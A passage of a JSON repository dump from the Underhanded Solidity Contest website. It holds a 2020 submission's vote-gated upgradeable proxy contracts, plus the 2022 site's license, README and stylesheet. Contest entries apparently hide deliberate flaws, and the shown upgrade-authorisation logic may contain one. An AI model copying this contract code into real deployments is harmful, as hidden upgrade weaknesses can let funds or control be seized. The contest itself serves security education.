isAdmin) internal {\n        require(voteDetails.length > 1, \"Upgrade is closed\");\n        \n        if(isAdmin){\n            //if it is first deploy, Admin can upgrade\n            if(voteDetails.length==3){\n                voteDetails.push();\n            }\n            \n            require(voteDetails[3] == 1, \"It isnt first deploy\");\n        }\n        else {\n            //yes votes are greater than minimum votes values\n            require(voteDetails[1] > voteDetails[0], \"Yes votes didnt reach minimum required value.\");\n        }\n    }\n    \n}\n"
  },
  {
    "path": "2020/submissions_2020/submission9_LuizSoares/contracts/SuperiorTransparentUpgradableProxy.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.7.0;\n\nimport \"./TransparentUpgradeableProxy.sol\";\nimport \"./Superior.sol\";\n\n\ncontract SuperiorTransparentUpgradableProxy is TransparentUpgradeableProxy, Superior {\n    \n    address public newImplementationAddress;\n    \n    /**\n     * @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and\n     * optionally initialized with `_data` as explained in {UpgradeableProxy-constructor}.\n     */\n    constructor(address _logic) payable TransparentUpgradeableProxy(msg.sender) {\n        newImplementationAddress = _logic;\n    }\n    \n    /**\n     * @dev New implementation address\n     * \n     * NOTE: Only the admin can call this function\n     */\n    function setUpgradeTo(address _newImplementation, uint128 _minYesVotes) external ifAdmin {\n        //initialize vote details\n        _startSetUpgradeTo(_minYesVotes);\n        \n        newImplementationAddress = _newImplementation;\n    }\n\n    /**\n     * @dev Upgrade the implementation of the proxy.\n     * \n     */\n    function upgradeTo() external {\n        //it will revert if upgrade is not allowed\n        _checkUpgradeIsOk(msg.sender == _admin());\n        \n        _upgradeTo(newImplementationAddress);\n\n        _setERC20Token(newImplementationAddress);\n        \n        //reset vote details because vote is ended\n        _resetVoteDetails();\n    }\n    \n  \n\n}\n"
  },
  {
    "path": "2020/submissions_2020/submission9_LuizSoares/contracts/TransparentUpgradeableProxy.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.7.0;\n\nimport \"./UpgradeableProxy.sol\";\n\n/**\n * @dev This contract implements a proxy that is upgradeable by an admin.\n * \n * To avoid https://medium.com/nomic-labs-blog/malicious-backdoors-in-ethereum-proxies-62629adf3357[proxy selector\n * clashing], which can potentially be used in an attack, this contract uses the\n * https://blog.openzeppelin.com/the-transparent-proxy-pattern/[transparent proxy pattern]. This pattern implies two\n * things that go hand in hand:\n * \n * 1. If any account other than the admin calls the proxy, the call will be forwarded to the implementation, even if\n * that call matches one of the admin functions exposed by the proxy itself.\n * 2. If the admin calls the proxy, it can access the admin functions, but its calls will never be forwarded to the\n * implementation. If the admin tries to call a function on the implementation it will fail with an error that says\n * \"admin cannot fallback to proxy target\".\n * \n * These properties mean that the admin account can only be used for admin actions like upgrading the proxy or changing\n * the admin, so it's best if it's a dedicated account that is not used for anything else. This will avoid headaches due\n * to sudden errors when trying to call a function from the proxy implementation.\n * \n * Our recommendation is for the dedicated account to be an instance of the {ProxyAdmin} contract. If set up this way,\n * you should think of the `ProxyAdmin` instance as the real administrative inerface of your proxy.\n */\ncontract TransparentUpgradeableProxy is UpgradeableProxy {\n    \n\n    /**\n     * @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and\n     * optionally initialized with `_data` as explained in {UpgradeableProxy-constructor}.\n     */\n    constructor(address _admin) payable {\n        assert(_ADMIN_SLOT == bytes32(uint256(keccak256(\"eip1967.proxy.admin\")) - 1));\n        _setAdmin(_admin);\n    }\n    \n    \n\n    /**\n     * @dev Emitted when the admin account has changed.\n     */\n    event AdminChanged(address previousAdmin, address newAdmin);\n\n    /**\n     * @dev Storage slot with the admin of the contract.\n     * This is the keccak-256 hash of \"eip1967.proxy.admin\" subtracted by 1, and is\n     * validated in the constructor.\n     */\n    bytes32 private constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;\n\n    /**\n     * @dev Modifier used internally that will delegate the call to the implementation unless the sender is the admin.\n     */\n    modifier ifAdmin() {\n        if (msg.sender == _admin()) {\n            _;\n        } else {\n            _fallback();\n        }\n    }\n\n    /**\n     * @dev Returns the current admin.\n     * \n     * NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyAdmin}.\n     * \n     * TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the\n     * https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.\n     * `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103`\n     */\n    function admin() external ifAdmin returns (address) {\n        return _admin();\n    }\n\n    /**\n     * @dev Returns the current implementation.\n     * \n     * NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyImplementation}.\n     * \n     * TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the\n     * https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.\n     * `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc`\n     */\n    function implementation() external ifAdmin returns (address) {\n        return _implementation();\n    }\n\n    /**\n     * @dev Changes the admin of the proxy.\n     * \n     * Emits an {AdminChanged} event.\n     * \n     * NOTE: Only the admin can call this function. See {ProxyAdmin-changeProxyAdmin}.\n     */\n    function changeAdmin(address newAdmin) external ifAdmin {\n        require(newAdmin != address(0), \"TransparentUpgradeableProxy: new admin is the zero address\");\n        emit AdminChanged(_admin(), newAdmin);\n        _setAdmin(newAdmin);\n    }\n    \n    /**\n     * @dev Returns the current admin.\n     */\n    function _admin() internal view returns (address adm) {\n        bytes32 slot = _ADMIN_SLOT;\n        // solhint-disable-next-line no-inline-assembly\n        assembly {\n            adm := sload(slot)\n        }\n    }\n\n    /**\n     * @dev Stores a new address in the EIP1967 admin slot.\n     */\n    function _setAdmin(address newAdmin) private {\n        bytes32 slot = _ADMIN_SLOT;\n\n        // solhint-disable-next-line no-inline-assembly\n        assembly {\n            sstore(slot, newAdmin)\n        }\n    }\n\n    /**\n     * @dev Makes sure the admin cannot access the fallback function. See {Proxy-_beforeFallback}.\n     */\n    function _beforeFallback() internal override virtual {\n        require(msg.sender != _admin(), \"TransparentUpgradeableProxy: admin cannot fallback to proxy target\");\n        super._beforeFallback();\n    }\n    \n    function getBalance() external view returns(uint){\n        return address(this).balance;\n    }\n}\n"
  },
  {
    "path": "2020/submissions_2020/submission9_LuizSoares/contracts/UpgradeableProxy.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.7.0;\n\nimport \"./Proxy.sol\";\nimport \"./Address.sol\";\n\n/**\n * @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an\n * implementation address that can be changed. This address is stored in storage in the location specified by\n * https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the\n * implementation behind the proxy.\n * \n * Upgradeability is only provided internally through {_upgradeTo}. For an externally upgradeable proxy see\n * {TransparentUpgradeableProxy}.\n */\ncontract UpgradeableProxy is Proxy {\n    /**\n     * @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`.\n     * \n     * If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded\n     * function call, and allows initializating the storage of the proxy like a Solidity constructor.\n     */\n    constructor() payable {\n        assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256(\"eip1967.proxy.implementation\")) - 1));\n    }\n\n    /**\n     * @dev Emitted when the implementation is upgraded.\n     */\n    event Upgraded(address indexed implementation);\n\n    /**\n     * @dev Storage slot with the address of the current implementation.\n     * This is the keccak-256 hash of \"eip1967.proxy.implementation\" subtracted by 1, and is\n     * validated in the constructor.\n     */\n    bytes32 private constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n\n    /**\n     * @dev Returns the current implementation address.\n     */\n    function _implementation() internal override view returns (address impl) {\n        bytes32 slot = _IMPLEMENTATION_SLOT;\n        // solhint-disable-next-line no-inline-assembly\n        assembly {\n            impl := sload(slot)\n        }\n    }\n\n    /**\n     * @dev Upgrades the proxy to a new implementation.\n     * \n     * Emits an {Upgraded} event.\n     */\n    function _upgradeTo(address newImplementation) internal {\n        _setImplementation(newImplementation);\n        emit Upgraded(newImplementation);\n    }\n\n    /**\n     * @dev Stores a new address in the EIP1967 implementation slot.\n     */\n    function _setImplementation(address newImplementation) private {\n        require(Address.isContract(newImplementation), \"UpgradeableProxy: new implementation is not a contract\");\n\n        bytes32 slot = _IMPLEMENTATION_SLOT;\n\n        // solhint-disable-next-line no-inline-assembly\n        assembly {\n            sstore(slot, newImplementation)\n        }\n    }\n}\n"
  },
  {
    "path": "2022/.gitignore",
    "content": ".git\n\n### Jekyll ###\n_site/\n.sass-cache/\n.jekyll-cache/\n.jekyll-metadata\n# Ignore folders generated by Bundler\n.bundle/\nvendor/"
  },
  {
    "path": "2022/CNAME",
    "content": "underhanded.soliditylang.org"
  },
  {
    "path": "2022/LICENSE.txt",
    "content": "Creative Commons Attribution 3.0 Unported\r\nhttp://creativecommons.org/licenses/by/3.0/\r\n\r\nLicense\r\n\r\nTHE WORK (AS DEFINED BELOW) IS PROVIDED UNDER THE TERMS OF THIS CREATIVE COMMONS PUBLIC LICENSE (\"CCPL\" OR \"LICENSE\"). THE WORK IS PROTECTED BY COPYRIGHT AND/OR OTHER APPLICABLE LAW. ANY USE OF THE WORK OTHER THAN AS AUTHORIZED UNDER THIS LICENSE OR COPYRIGHT LAW IS PROHIBITED.\r\n\r\nBY EXERCISING ANY RIGHTS TO THE WORK PROVIDED HERE, YOU ACCEPT AND AGREE TO BE BOUND BY THE TERMS OF THIS LICENSE. TO THE EXTENT THIS LICENSE MAY BE CONSIDERED TO BE A CONTRACT, THE LICENSOR GRANTS YOU THE RIGHTS CONTAINED HERE IN CONSIDERATION OF YOUR ACCEPTANCE OF SUCH TERMS AND CONDITIONS.\r\n\r\n1. Definitions\r\n\r\n   1. \"Adaptation\" means a work based upon the Work, or upon the Work and other pre-existing works, such as a translation, adaptation, derivative work, arrangement of music or other alterations of a literary or artistic work, or phonogram or performance and includes cinematographic adaptations or any other form in which the Work may be recast, transformed, or adapted including in any form recognizably derived from the original, except that a work that constitutes a Collection will not be considered an Adaptation for the purpose of this License. For the avoidance of doubt, where the Work is a musical work, performance or phonogram, the synchronization of the Work in timed-relation with a moving image (\"synching\") will be considered an Adaptation for the purpose of this License.\r\n   2. \"Collection\" means a collection of literary or artistic works, such as encyclopedias and anthologies, or performances, phonograms or broadcasts, or other works or subject matter other than works listed in Section 1(f) below, which, by reason of the selection and arrangement of their contents, constitute intellectual creations, in which the Work is included in its entirety in unmodified form along with one or more other contributions, each constituting separate and independent works in themselves, which together are assembled into a collective whole. A work that constitutes a Collection will not be considered an Adaptation (as defined above) for the purposes of this License.\r\n   3. \"Distribute\" means to make available to the public the original and copies of the Work or Adaptation, as appropriate, through sale or other transfer of ownership.\r\n   4. \"Licensor\" means the individual, individuals, entity or entities that offer(s) the Work under the terms of this License.\r\n   5. \"Original Author\" means, in the case of a literary or artistic work, the individual, individuals, entity or entities who created the Work or if no individual or entity can be identified, the publisher; and in addition (i) in the case of a performance the actors, singers, musicians, dancers, and other persons who act, sing, deliver, declaim, play in, interpret or otherwise perform literary or artistic works or expressions of folklore; (ii) in the case of a phonogram the producer being the person or legal entity who first fixes the sounds of a performance or other sounds; and, (iii) in the case of broadcasts, the organization that transmits the broadcast.\r\n   6. \"Work\" means the literary and/or artistic work offered under the terms of this License including without limitation any production in the literary, scientific and artistic domain, whatever may be the mode or form of its expression including digital form, such as a book, pamphlet and other writing; a lecture, address, sermon or other work of the same nature; a dramatic or dramatico-musical work; a choreographic work or entertainment in dumb show; a musical composition with or without words; a cinematographic work to which are assimilated works expressed by a process analogous to cinematography; a work of drawing, painting, architecture, sculpture, engraving or lithography; a photographic work to which are assimilated works expressed by a process analogous to photography; a work of applied art; an illustration, map, plan, sketch or three-dimensional work relative to geography, topography, architecture or science; a performance; a broadcast; a phonogram; a compilation of data to the extent it is protected as a copyrightable work; or a work performed by a variety or circus performer to the extent it is not otherwise considered a literary or artistic work.\r\n   7. \"You\" means an individual or entity exercising rights under this License who has not previously violated the terms of this License with respect to the Work, or who has received express permission from the Licensor to exercise rights under this License despite a previous violation.\r\n   8. \"Publicly Perform\" means to perform public recitations of the Work and to communicate to the public those public recitations, by any means or process, including by wire or wireless means or public digital performances; to make available to the public Works in such a way that members of the public may access these Works from a place and at a place individually chosen by them; to perform the Work to the public by any means or process and the communication to the public of the performances of the Work, including by public digital performance; to broadcast and rebroadcast the Work by any means including signs, sounds or images.\r\n   9. \"Reproduce\" means to make copies of the Work by any means including without limitation by sound or visual recordings and the right of fixation and reproducing fixations of the Work, including storage of a protected performance or phonogram in digital form or other electronic medium.\r\n\r\n2. Fair Dealing Rights. Nothing in this License is intended to reduce, limit, or restrict any uses free from copyright or rights arising from limitations or exceptions that are provided for in connection with the copyright protection under copyright law or other applicable laws.\r\n\r\n3. License Grant. Subject to the terms and conditions of this License, Licensor hereby grants You a worldwide, royalty-free, non-exclusive, perpetual (for the duration of the applicable copyright) license to exercise the rights in the Work as stated below:\r\n\r\n   1. to Reproduce the Work, to incorporate the Work into one or more Collections, and to Reproduce the Work as incorporated in the Collections;\r\n   2. to create and Reproduce Adaptations provided that any such Adaptation, including any translation in any medium, takes reasonable steps to clearly label, demarcate or otherwise identify that changes were made to the original Work. For example, a translation could be marked \"The original work was translated from English to Spanish,\" or a modification could indicate \"The original work has been modified.\";\r\n   3. to Distribute and Publicly Perform the Work including as incorporated in Collections; and,\r\n   4. to Distribute and Publicly Perform Adaptations.\r\n   5.\r\n\r\n      For the avoidance of doubt:\r\n         1. Non-waivable Compulsory License Schemes. In those jurisdictions in which the right to collect royalties through any statutory or compulsory licensing scheme cannot be waived, the Licensor reserves the exclusive right to collect such royalties for any exercise by You of the rights granted under this License;\r\n         2. Waivable Compulsory License Schemes. In those jurisdictions in which the right to collect royalties through any statutory or compulsory licensing scheme can be waived, the Licensor waives the exclusive right to collect such royalties for any exercise by You of the rights granted under this License; and,\r\n         3. Voluntary License Schemes. The Licensor waives the right to collect royalties, whether individually or, in the event that the Licensor is a member of a collecting society that administers voluntary licensing schemes, via that society, from any exercise by You of the rights granted under this License.\r\n\r\nThe above rights may be exercised in all media and formats whether now known or hereafter devised. The above rights include the right to make such modifications as are technically necessary to exercise the rights in other media and formats. Subject to Section 8(f), all rights not expressly granted by Licensor are hereby reserved.\r\n\r\n4. Restrictions. The license granted in Section 3 above is expressly made subject to and limited by the following restrictions:\r\n\r\n   1. You may Distribute or Publicly Perform the Work only under the terms of this License. You must include a copy of, or the Uniform Resource Identifier (URI) for, this License with every copy of the Work You Distribute or Publicly Perform. You may not offer or impose any terms on the Work that restrict the terms of this License or the ability of the recipient of the Work to exercise the rights granted to that recipient under the terms of the License. You may not sublicense the Work. You must keep intact all notices that refer to this License and to the disclaimer of warranties with every copy of the Work You Distribute or Publicly Perform. When You Distribute or Publicly Perform the Work, You may not impose any effective technological measures on the Work that restrict the ability of a recipient of the Work from You to exercise the rights granted to that recipient under the terms of the License. This Section 4(a) applies to the Work as incorporated in a Collection, but this does not require the Collection apart from the Work itself to be made subject to the terms of this License. If You create a Collection, upon notice from any Licensor You must, to the extent practicable, remove from the Collection any credit as required by Section 4(b), as requested. If You create an Adaptation, upon notice from any Licensor You must, to the extent practicable, remove from the Adaptation any credit as required by Section 4(b), as requested.\r\n   2. If You Distribute, or Publicly Perform the Work or any Adaptations or Collections, You must, unless a request has been made pursuant to Section 4(a), keep intact all copyright notices for the Work and provide, reasonable to the medium or means You are utilizing: (i) the name of the Original Author (or pseudonym, if applicable) if supplied, and/or if the Original Author and/or Licensor designate another party or parties (e.g., a sponsor institute, publishing entity, journal) for attribution (\"Attribution Parties\") in Licensor's copyright notice, terms of service or by other reasonable means, the name of such party or parties; (ii) the title of the Work if supplied; (iii) to the extent reasonably practicable, the URI, if any, that Licensor specifies to be associated with the Work, unless such URI does not refer to the copyright notice or licensing information for the Work; and (iv) , consistent with Section 3(b), in the case of an Adaptation, a credit identifying the use of the Work in the Adaptation (e.g., \"French translation of the Work by Original Author,\" or \"Screenplay based on original Work by Original Author\"). The credit required by this Section 4 (b) may be implemented in any reasonable manner; provided, however, that in the case of a Adaptation or Collection, at a minimum such credit will appear, if a credit for all contributing authors of the Adaptation or Collection appears, then as part of these credits and in a manner at least as prominent as the credits for the other contributing authors. For the avoidance of doubt, You may only use the credit required by this Section for the purpose of attribution in the manner set out above and, by exercising Your rights under this License, You may not implicitly or explicitly assert or imply any connection with, sponsorship or endorsement by the Original Author, Licensor and/or Attribution Parties, as appropriate, of You or Your use of the Work, without the separate, express prior written permission of the Original Author, Licensor and/or Attribution Parties.\r\n   3. Except as otherwise agreed in writing by the Licensor or as may be otherwise permitted by applicable law, if You Reproduce, Distribute or Publicly Perform the Work either by itself or as part of any Adaptations or Collections, You must not distort, mutilate, modify or take other derogatory action in relation to the Work which would be prejudicial to the Original Author's honor or reputation. Licensor agrees that in those jurisdictions (e.g. Japan), in which any exercise of the right granted in Section 3(b) of this License (the right to make Adaptations) would be deemed to be a distortion, mutilation, modification or other derogatory action prejudicial to the Original Author's honor and reputation, the Licensor will waive or not assert, as appropriate, this Section, to the fullest extent permitted by the applicable national law, to enable You to reasonably exercise Your right under Section 3(b) of this License (right to make Adaptations) but not otherwise.\r\n\r\n5. Representations, Warranties and Disclaimer\r\n\r\nUNLESS OTHERWISE MUTUALLY AGREED TO BY THE PARTIES IN WRITING, LICENSOR OFFERS THE WORK AS-IS AND MAKES NO REPRESENTATIONS OR WARRANTIES OF ANY KIND CONCERNING THE WORK, EXPRESS, IMPLIED, STATUTORY OR OTHERWISE, INCLUDING, WITHOUT LIMITATION, WARRANTIES OF TITLE, MERCHANTIBILITY, FITNESS FOR A PARTICULAR PURPOSE, NONINFRINGEMENT, OR THE ABSENCE OF LATENT OR OTHER DEFECTS, ACCURACY, OR THE PRESENCE OF ABSENCE OF ERRORS, WHETHER OR NOT DISCOVERABLE. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OF IMPLIED WARRANTIES, SO SUCH EXCLUSION MAY NOT APPLY TO YOU.\r\n\r\n6. Limitation on Liability. EXCEPT TO THE EXTENT REQUIRED BY APPLICABLE LAW, IN NO EVENT WILL LICENSOR BE LIABLE TO YOU ON ANY LEGAL THEORY FOR ANY SPECIAL, INCIDENTAL, CONSEQUENTIAL, PUNITIVE OR EXEMPLARY DAMAGES ARISING OUT OF THIS LICENSE OR THE USE OF THE WORK, EVEN IF LICENSOR HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\r\n\r\n7. Termination\r\n\r\n   1. This License and the rights granted hereunder will terminate automatically upon any breach by You of the terms of this License. Individuals or entities who have received Adaptations or Collections from You under this License, however, will not have their licenses terminated provided such individuals or entities remain in full compliance with those licenses. Sections 1, 2, 5, 6, 7, and 8 will survive any termination of this License.\r\n   2. Subject to the above terms and conditions, the license granted here is perpetual (for the duration of the applicable copyright in the Work). Notwithstanding the above, Licensor reserves the right to release the Work under different license terms or to stop distributing the Work at any time; provided, however that any such election will not serve to withdraw this License (or any other license that has been, or is required to be, granted under the terms of this License), and this License will continue in full force and effect unless terminated as stated above.\r\n\r\n8. Miscellaneous\r\n\r\n   1. Each time You Distribute or Publicly Perform the Work or a Collection, the Licensor offers to the recipient a license to the Work on the same terms and conditions as the license granted to You under this License.\r\n   2. Each time You Distribute or Publicly Perform an Adaptation, Licensor offers to the recipient a license to the original Work on the same terms and conditions as the license granted to You under this License.\r\n   3. If any provision of this License is invalid or unenforceable under applicable law, it shall not affect the validity or enforceability of the remainder of the terms of this License, and without further action by the parties to this agreement, such provision shall be reformed to the minimum extent necessary to make such provision valid and enforceable.\r\n   4. No term or provision of this License shall be deemed waived and no breach consented to unless such waiver or consent shall be in writing and signed by the party to be charged with such waiver or consent.\r\n   5. This License constitutes the entire agreement between the parties with respect to the Work licensed here. There are no understandings, agreements or representations with respect to the Work not specified here. Licensor shall not be bound by any additional provisions that may appear in any communication from You. This License may not be modified without the mutual written agreement of the Licensor and You.\r\n   6. The rights granted under, and the subject matter referenced, in this License were drafted utilizing the terminology of the Berne Convention for the Protection of Literary and Artistic Works (as amended on September 28, 1979), the Rome Convention of 1961, the WIPO Copyright Treaty of 1996, the WIPO Performances and Phonograms Treaty of 1996 and the Universal Copyright Convention (as revised on July 24, 1971). These rights and subject matter take effect in the relevant jurisdiction in which the License terms are sought to be enforced according to the corresponding provisions of the implementation of those treaty provisions in the applicable national law. If the standard suite of rights granted under applicable copyright law includes additional rights not granted under this License, such additional rights are deemed to be included in the License; this License is not intended to restrict the license of any rights under applicable law.\r\n"
  },
  {
    "path": "2022/README.md",
    "content": "# solidity-underhanded-contest\n\nWebsite and resources for the Underhanded Solidity Contest.\n"
  },
  {
    "path": "2022/assets/css/main.css",
    "content": "@import url(fontawesome-all.min.css);\n\n/*\n\tHyperspace by HTML5 UP\n\thtml5up.net | @ajlkn\n\tFree for personal and commercial use under the CCA 3.0 license (html5up.net/license)\n*/\n\nhtml, body, div, span, applet, object,\niframe, h1, h2, h3, h4, h5, h6, p, blockquote,\npre, a, abbr, acronym, address, big, cite,\ncode, del, dfn, em, img, ins, kbd, q, s, samp,\nsmall, strike, strong, sub, sup, tt, var, b,\nu, i, center, dl, dt, dd, ol, ul, li, fieldset,\nform, label, legend, table, caption, tbody,\ntfoot, thead, tr, th, td, article, aside,\ncanvas, details, embed, figure, figcaption,\nfooter, header, hgroup, menu, nav, output, ruby,\nsection, summary, time, mark, audio, video {\n\tmargin: 0;\n\tpadding: 0;\n\tborder: 0;\n\tfont-size: 100%;\n\tfont: inherit;\n\tvertical-align: baseline;}\n\narticle, aside, details, figcaption, figure,\nfooter, header, hgroup, menu, nav, section {\n\tdisplay: block;}\n\nbody {\n\tline-height: 1;\n}\n\nol, ul {\n\tlist-style: none;\n}\n\nblockquote, q {\n\tquotes: none;\n}\n\n\tblockquote:before, blockquote:after, q:before, q:after {\n\t\tcontent: '';\n\t\tcontent: none;\n\t}\n\ntable {\n\tborder-collapse: collapse;\n\tborder-spacing: 0;\n}\n\nbody {\n\t-webkit-text-size-adjust: none;\n}\n\nmark {\n\tbackground-color: transparent;\n\tcolor: inherit;\n}\n\ninput::-moz-focus-inner {\n\tborder: 0;\n\tpadding: 0;\n}\n\ninput, select, textarea {\n\t-moz-appearance: none;\n\t-webkit-appearance: none;\n\t-ms-appearance: none;\n\tappearance: none;\n}\n\n/* Basic */\n\n\t@-ms-viewport {\n\t\twidth: device-width;\n\t}\n\n\tbody {\n\t\t-ms-overflow-style: scrollbar;\n\t}\n\n\t@media screen and (max-width: 480px) {\n\n\t\thtml, body {\n\t\t\tmin-width: 320px;\n\t\t}\n\n\t}\n\n\thtml {\n\t\tbox-sizing: border-box;\n\t}\n\n\t*, *:before, *:after {\n\t\tbox-sizing: inherit;\n\t}\n\n\tbody {\n\t\tbackground: #111111;\n\t}\n\n\t\tbody.is-preload *, body.is-preload *:before, body.is-preload *:after {\n\t\t\t-moz-animation: none !important;\n\t\t\t-webkit-animation: none !important;\n\t\t\t-ms-animation: none !important;\n\t\t\tanimation: none !important;\n\t\t\t-moz-transition: none !important;\n\t\t\t-webkit-transition: none !important;\n\t\t\t-ms-transition: none !important;\n\t\t\ttransition: none !important;\n\t\t}\n\n/* Type */\n\n\tbody, input, select, textarea {\n\t\tcolor:#111111;\n\t\tfont-family: 'Fira Code', monospace;\n\t\tfont-size: 16.5pt;\n\t\tfont-weight: normal;\n\t\tline-height: 1.75;\n\t}\n\n\t\t@media screen and (max-width: 1680px) {\n\n\t\t\tbody, input, select, textarea {\n\t\t\t\tfont-size: 13pt;\n\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 1280px) {\n\n\t\t\tbody, input, select, textarea {\n\t\t\t\tfont-size: 12pt;\n\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 360px) {\n\n\t\t\tbody, input, select, textarea {\n\t\t\t\tfont-size: 11pt;\n\t\t\t}\n\n\t\t}\n\n\ta {\n\t\t-moz-transition: color 0.2s ease, border-bottom-color 0.2s ease;\n\t\t-webkit-transition: color 0.2s ease, border-bottom-color 0.2s ease;\n\t\t-ms-transition: color 0.2s ease, border-bottom-color 0.2s ease;\n\t\ttransition: color 0.2s ease, border-bottom-color 0.2s ease;\n\t\tborder-bottom: dotted 1px rgba(255, 255, 255, 0.35);\n\t\tcolor: inherit;\n\t\ttext-decoration: none;\n\t}\n\n\t\ta:hover {\n\t\t\tborder-bottom-color: transparent;\n\t\t\tcolor: #7575FF;\n\t\t}\n\n\tstrong, b {\n\t\tcolor: #ffffff;\n\t\tfont-weight: bold;\n\t}\n\n\tem, i {\n\t\tfont-style: italic;\n\t}\n\n\tp {\n\t\tmargin: 0 0 2em 0;\n\t}\n\n\th1 {\n\t\tcolor: #ffffff;\n\t\tfont-weight: bold;\n\t\tline-height: 1.5;\n\t\tmargin: 0 0 0.5em 0;\n\t}\n\n\th2 {\n\t\tcolor: #111111;\n\t\tfont-weight: bold;\n\t\tline-height: 1.5;\n\t\tmargin: 0 0 0.5em 0;\n\t}\n\n\th3 {\n\t\tcolor:  #e5e5e5;\n\t\tfont-weight: bold;\n\t\tline-height: 1.5;\n\t\tmargin: 0 0 0.5em 0;\n\t}\n\n\th4, h5, h6 {\n\t\tcolor: #111111;\n\t\tfont-weight: bold;\n\t\tline-height: 1.5;\n\t\tmargin: 0 0 0.5em 0;\n\t}\n\n\t\th1 a, h2 a, h3 a, h4 a, h5 a, h6 a {\n\t\t\tcolor: inherit;\n\t\t\ttext-decoration: none;\n\t\t}\n\n\th1 {\n\t\tfont-size: 2.75em;\n\t}\n\n\t\th1.major {\n\t\t\tmargin: 0 0 1.3em 0;\n\t\t\tposition: relative;\n\t\t\tpadding-bottom: 0.35em;\n\t\t}\n\n\t\t\th1.major:after {\n\t\t\t\tbackground-image: -moz-linear-gradient(to right, #5e42a6, #b74e91);\n\t\t\t\tbackground-image: -webkit-linear-gradient(to right, #5e42a6, #b74e91);\n\t\t\t\tbackground-image: -ms-linear-gradient(to right, #5e42a6, #b74e91);\n\t\t\t\tbackground-image: linear-gradient(to right, #5e42a6, #b74e91);\n\t\t\t\t-moz-transition: max-width 0.2s ease;\n\t\t\t\t-webkit-transition: max-width 0.2s ease;\n\t\t\t\t-ms-transition: max-width 0.2s ease;\n\t\t\t\ttransition: max-width 0.2s ease;\n\t\t\t\tborder-radius: 0.2em;\n\t\t\t\tbottom: 0;\n\t\t\t\tcontent: '';\n\t\t\t\theight: 0.05em;\n\t\t\t\tposition: absolute;\n\t\t\t\tright: 0;\n\t\t\t\twidth: 100%;\n\t\t\t}\n\n\th2 {\n\t\tfont-size: 1.75em;\n\t}\n\n\th3 {\n\t\tfont-size: 1.1em;\n\t}\n\n\th4 {\n\t\tfont-size: 1.1em;\n\t}\n\n\th5 {\n\t\tfont-size: 0.8em;\n\t}\n\n\th6 {\n\t\tfont-size: 0.6em;\n\t}\n\n\t@media screen and (max-width: 736px) {\n\n\t\th1 {\n\t\t\tfont-size: 2em;\n\t\t}\n\n\t\th2 {\n\t\t\tfont-size: 1.25em;\n\t\t}\n\n\t\th3 {\n\t\t\tfont-size: 1em;\n\t\t}\n\n\t\th4 {\n\t\t\tfont-size: 0.8em;\n\t\t}\n\n\t\th5 {\n\t\t\tfont-size: 0.6em;\n\t\t}\n\n\t\th6 {\n\t\t\tfont-size: 0.6em;\n\t\t}\n\n\t}\n\n\tsub {\n\t\tfont-size: 0.8em;\n\t\tposition: relative;\n\t\ttop: 0.5em;\n\t}\n\n\tsup {\n\t\tfont-size: 0.8em;\n\t\tposition: relative;\n\t\ttop: -0.5em;\n\t}\n\n\tblockquote {\n\t\tborder-left: solid 4px rgba(255, 255, 255, 0.15);\n\t\tfont-style: italic;\n\t\tmargin: 0 0 2em 0;\n\t\tpadding: 0.5em 0 0.5em 2em;\n\t}\n\n\tcode {\n\t\tcolor: #111111;\n\t\tbackground: #0000;\n\t\tborder-radius: 0.3em;\n\t\tborder: solid 0.5px #111111;\n\t\tfont-family: \"Courier New\", monospace;\n\t\tfont-size: 0.9em;\n\t\tmargin: 0 0.25em;\n\t\tpadding: 0.25em 0.65em;\n\t}\n\n\tpre {\n\t\t-webkit-overflow-scrolling: touch;\n\t\tfont-family: \"Courier New\", monospace;\n\t\tfont-size: 0.9em;\n\t\tmargin: 0 0 2em 0;\n\t}\n\n\t\tpre code {\n\t\t\tdisplay: block;\n\t\t\tline-height: 1.75em;\n\t\t\tpadding: 1em 1.5em;\n\t\t\toverflow-x: auto;\n\t\t}\n\n\thr {\n\t\tborder: 0;\n\t\tborder-bottom: solid 1px rgba(255, 255, 255, 0.15);\n\t\tmargin: 2em 0;\n\t}\n\n\t\thr.major {\n\t\t\tmargin: 3em 0;\n\t\t}\n\n\t.align-left {\n\t\ttext-align: left;\n\t}\n\n\t.align-center {\n\t\ttext-align: center;\n\t}\n\n\t.align-right {\n\t\ttext-align: right;\n\t}\n\n/* Row */\n\n\t.row {\n\t\tdisplay: flex;\n\t\tflex-wrap: wrap;\n\t\tbox-sizing: border-box;\n\t\talign-items: stretch;\n\t}\n\n\t\t.row > * {\n\t\t\tbox-sizing: border-box;\n\t\t}\n\n\t\t.row.gtr-uniform > * > :last-child {\n\t\t\tmargin-bottom: 0;\n\t\t}\n\n\t\t.row.aln-left {\n\t\t\tjustify-content: flex-start;\n\t\t}\n\n\t\t.row.aln-center {\n\t\t\tjustify-content: center;\n\t\t}\n\n\t\t.row.aln-right {\n\t\t\tjustify-content: flex-end;\n\t\t}\n\n\t\t.row.aln-top 